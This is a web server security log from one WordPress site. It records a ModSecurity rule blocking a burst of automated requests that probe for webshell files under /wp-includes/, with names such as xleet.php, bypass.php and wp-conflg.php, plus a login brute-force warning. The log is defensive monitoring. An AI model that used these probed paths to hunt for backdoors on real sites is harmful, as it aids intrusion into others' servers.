[Sat Feb 28 17:53:36.461904 2026] [:error] [pid 49763:tid 49781] [client 185.198.240.169:24181] [client 185.198.240.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aaK7ILTHSOG_yf2PpqEyHwAAAc8"]
[Sat Feb 28 17:53:37.262950 2026] [:error] [pid 52460:tid 52485] [client 185.198.240.178:63989] [client 185.198.240.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aaK7IbLWOogAgHGh62TK0QAAAZY"]
[Sat Feb 28 17:53:47.612422 2026] [:error] [pid 49763:tid 49771] [client 185.198.240.158:47839] [client 185.198.240.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aaK7K7THSOG_yf2PpqEybAAAAcU"]
[Sat Feb 28 17:53:48.185831 2026] [:error] [pid 49763:tid 49786] [client 185.198.240.179:34557] [client 185.198.240.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aaK7LLTHSOG_yf2PpqEycwAAAdQ"]
[Sat Feb 28 17:53:48.785631 2026] [:error] [pid 52460:tid 52474] [client 45.131.195.215:57931] [client 45.131.195.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aaK7LLLWOogAgHGh62TLbwAAAYs"]
[Sat Feb 28 17:53:55.703417 2026] [:error] [pid 39183:tid 39205] [client 185.198.240.176:47453] [client 185.198.240.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aaK7MxCf4HvhVePw3LZgOgAAAA0"]
[Sat Feb 28 17:53:58.108011 2026] [:error] [pid 49763:tid 49788] [client 45.131.195.216:56509] [client 45.131.195.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aaK7NrTHSOG_yf2PpqEyrAAAAdY"]
[Sat Feb 28 17:54:02.066765 2026] [:error] [pid 49763:tid 49790] [client 185.198.240.163:34023] [client 185.198.240.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aaK7OrTHSOG_yf2PpqEy1QAAAdg"]
[Sat Feb 28 17:54:20.522156 2026] [:error] [pid 49763:tid 49776] [client 185.198.240.172:21427] [client 185.198.240.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/index.php"] [unique_id "aaK7TLTHSOG_yf2PpqEzYgAAAco"]
[Sat Feb 28 17:54:24.854282 2026] [:error] [pid 52460:tid 52468] [client 185.198.240.166:38405] [client 185.198.240.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/about.php"] [unique_id "aaK7ULLWOogAgHGh62TMbAAAAYU"]
[Sat Feb 28 17:54:35.233104 2026] [:error] [pid 39183:tid 39215] [client 209.87.169.165:55657] [client 209.87.169.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-sup.php"] [unique_id "aaK7WxCf4HvhVePw3LZgmwAAABc"]
[Sat Feb 28 17:54:39.164238 2026] [:error] [pid 39183:tid 39196] [client 185.198.240.179:54003] [client 185.198.240.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aaK7XxCf4HvhVePw3LZgqQAAAAQ"]
[Sat Feb 28 17:54:46.084595 2026] [:error] [pid 39183:tid 39206] [client 185.198.240.171:33165] [client 185.198.240.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aaK7ZhCf4HvhVePw3LZgwQAAAA4"]
[Sat Feb 28 17:54:54.405095 2026] [:error] [pid 11791:tid 11802] [client 185.198.240.166:25135] [client 185.198.240.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aaK7bmuX5e1Q32gqxH2LlgAAAQk"]
[Sat Feb 28 17:54:58.687638 2026] [:error] [pid 52460:tid 52463] [client 185.198.240.174:62933] [client 185.198.240.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aaK7crLWOogAgHGh62TNZQAAAYA"]
[Sat Feb 28 17:54:59.841965 2026] [:error] [pid 52460:tid 52483] [client 209.87.169.171:49275] [client 209.87.169.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aaK7c7LWOogAgHGh62TNbgAAAZQ"]
[Sat Feb 28 17:55:12.023972 2026] [:error] [pid 52460:tid 52472] [client 45.131.195.217:46781] [client 45.131.195.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aaK7gLLWOogAgHGh62TN4QAAAYk"]
[Sat Feb 28 17:55:20.981452 2026] [:error] [pid 49763:tid 49788] [client 209.87.169.160:43827] [client 209.87.169.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aaK7iLTHSOG_yf2PpqE0sAAAAdY"]
[Sat Feb 28 17:55:28.903241 2026] [:error] [pid 22194:tid 22217] [client 185.198.240.176:52843] [client 185.198.240.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaK7kH6mbajs3bzQGyt-oAAAAVU"]
[Sat Feb 28 17:55:29.449642 2026] [:error] [pid 39183:tid 39207] [client 45.131.195.253:20349] [client 45.131.195.253] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aaK7kRCf4HvhVePw3LZhTwAAAA8"]
[Sat Feb 28 17:55:33.596895 2026] [:error] [pid 49763:tid 49787] [client 45.131.195.215:41067] [client 45.131.195.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aaK7lbTHSOG_yf2PpqE1CQAAAdU"]
[Sat Feb 28 17:55:39.893807 2026] [:error] [pid 52460:tid 52477] [client 185.198.240.165:34945] [client 185.198.240.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/install.php"] [unique_id "aaK7m7LWOogAgHGh62TOoQAAAY4"]
[Sat Feb 28 17:55:40.385696 2026] [:error] [pid 49763:tid 49777] [client 185.198.240.181:64111] [client 185.198.240.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aaK7nLTHSOG_yf2PpqE1FQAAAcs"]
[Sat Feb 28 17:55:56.809179 2026] [:error] [pid 39292:tid 39302] [client 185.198.240.179:23043] [client 185.198.240.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/category-double.php"] [unique_id "aaK7rKIAO5fN7BxyqcE06QAAAMg"]
[Sat Feb 28 17:56:01.045590 2026] [:error] [pid 39185:tid 39259] [client 45.131.195.253:63711] [client 45.131.195.253] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/db.php"] [unique_id "aaK7sRVE-FfM89u7BQZ2lAAAAI0"]
[Sat Feb 28 17:56:02.048735 2026] [:error] [pid 49763:tid 49782] [client 209.87.169.158:25559] [client 209.87.169.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/security.php"] [unique_id "aaK7srTHSOG_yf2PpqE1fQAAAdA"]
[Sat Feb 28 17:56:06.079318 2026] [:error] [pid 39183:tid 39197] [client 185.198.240.178:24309] [client 185.198.240.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aaK7thCf4HvhVePw3LZhzAAAAAU"]
[Sat Feb 28 17:56:08.493828 2026] [:error] [pid 11791:tid 11804] [client 209.87.169.168:45121] [client 209.87.169.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aaK7uGuX5e1Q32gqxH2L3wAAAQs"]
[Sat Feb 28 17:56:16.906600 2026] [:error] [pid 49763:tid 49776] [client 209.87.169.168:60901] [client 209.87.169.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aaK7wLTHSOG_yf2PpqE1zAAAAco"]
[Sat Feb 28 17:56:20.821780 2026] [:error] [pid 39292:tid 39314] [client 209.87.169.173:41757] [client 209.87.169.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aaK7xKIAO5fN7BxyqcE1PAAAANQ"]
[Sat Feb 28 17:56:25.141764 2026] [:error] [pid 49763:tid 49770] [client 209.87.169.172:51319] [client 209.87.169.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aaK7ybTHSOG_yf2PpqE19gAAAcQ"]
[Sat Feb 28 17:56:27.728481 2026] [:error] [pid 52460:tid 52476] [client 209.87.169.171:44495] [client 209.87.169.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/as.php"] [unique_id "aaK7y7LWOogAgHGh62TPmwAAAY0"]
[Sat Feb 28 17:56:30.273260 2026] [:error] [pid 52460:tid 52469] [client 185.198.240.178:62467] [client 185.198.240.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aaK7zrLWOogAgHGh62TPqQAAAYY"]
[Sat Feb 28 17:56:30.794708 2026] [:error] [pid 52460:tid 52485] [client 209.87.169.165:23213] [client 209.87.169.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/install.php"] [unique_id "aaK7zrLWOogAgHGh62TPrgAAAZY"]
[Sat Feb 28 17:56:31.309384 2026] [:error] [pid 11791:tid 11809] [client 185.198.240.176:31535] [client 185.198.240.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/db.php"] [unique_id "aaK7z2uX5e1Q32gqxH2L9gAAARA"]
[Sat Feb 28 17:56:41.681932 2026] [:error] [pid 39183:tid 39209] [client 173.239.214.181:58311] [client 173.239.214.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aaK72RCf4HvhVePw3LZiUAAAABE"]
[Sat Feb 28 17:56:47.376708 2026] [:error] [pid 52460:tid 52467] [client 209.87.169.167:55447] [client 209.87.169.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rk2.php"] [unique_id "aaK737LWOogAgHGh62TP7wAAAYQ"]
[Sat Feb 28 17:56:52.727881 2026] [:error] [pid 52460:tid 52469] [client 185.198.240.163:41629] [client 185.198.240.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/past.php"] [unique_id "aaK75LLWOogAgHGh62TQEQAAAYY"]
[Sat Feb 28 17:56:58.770257 2026] [:error] [pid 39183:tid 39194] [client 185.198.240.177:52387] [client 185.198.240.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/edit-tags.php"] [unique_id "aaK76hCf4HvhVePw3LZinAAAAAI"]
[Sat Feb 28 17:57:09.970258 2026] [:error] [pid 39183:tid 39194] [client 209.87.169.170:48651] [client 209.87.169.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aaK79RCf4HvhVePw3LZi2AAAAAI"]
[Sat Feb 28 17:57:12.306026 2026] [:error] [pid 52460:tid 52475] [client 173.239.214.180:51871] [client 173.239.214.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aaK7-LLWOogAgHGh62TQewAAAYw"]
[Sat Feb 28 17:57:14.996092 2026] [:error] [pid 52460:tid 52484] [client 209.87.169.159:54091] [client 209.87.169.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aaK7-rLWOogAgHGh62TQlAAAAZU"]
[Sat Feb 28 17:57:19.994509 2026] [:error] [pid 39183:tid 39200] [client 45.131.195.252:50747] [client 45.131.195.252] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aaK7_xCf4HvhVePw3LZjEAAAAAg"]
[Sat Feb 28 17:57:33.807275 2026] [:error] [pid 49763:tid 49781] [client 185.198.240.171:61331] [client 185.198.240.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aaK8DbTHSOG_yf2PpqE3GAAAAc8"]
[Sat Feb 28 17:57:34.261133 2026] [:error] [pid 49763:tid 49776] [client 185.198.240.180:59221] [client 185.198.240.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aaK8DrTHSOG_yf2PpqE3HQAAAco"]
[Sat Feb 28 17:57:39.540234 2026] [:error] [pid 39185:tid 39259] [client 185.198.240.162:60567] [client 185.198.240.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aaK8ExVE-FfM89u7BQZ24QAAAI0"]
[Sat Feb 28 17:57:40.045980 2026] [:error] [pid 49763:tid 49776] [client 209.87.169.161:39765] [client 209.87.169.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaK8FLTHSOG_yf2PpqE3OQAAAco"]
[Sat Feb 28 17:57:44.092478 2026] [:error] [pid 49763:tid 49779] [client 185.198.240.173:31091] [client 185.198.240.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aaK8GLTHSOG_yf2PpqE3QwAAAc0"]
[Sat Feb 28 17:57:44.574663 2026] [:error] [pid 39184:tid 39232] [client 209.87.169.160:50603] [client 209.87.169.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ms-file.php"] [unique_id "aaK8GFtZF9Zd_U7easBTgAAAAE0"]
[Sat Feb 28 17:57:45.037073 2026] [:error] [pid 52460:tid 52474] [client 185.198.240.159:37319] [client 185.198.240.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aaK8GbLWOogAgHGh62TRXgAAAYs"]
[Sat Feb 28 17:57:45.040636 2026] [proxy_fcgi:error] [pid 52460:tid 52474] [client 185.198.240.159:37319] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 17:57:45.264225 2026] [:error] [pid 52460:tid 52467] [client 185.198.240.159:37319] [client 185.198.240.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/av.php"] [unique_id "aaK8GbLWOogAgHGh62TRYwAAAYQ"]
[Sat Feb 28 17:57:51.345613 2026] [:error] [pid 52460:tid 52486] [client 185.198.240.163:24221] [client 185.198.240.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aaK8H7LWOogAgHGh62TRngAAAZc"]
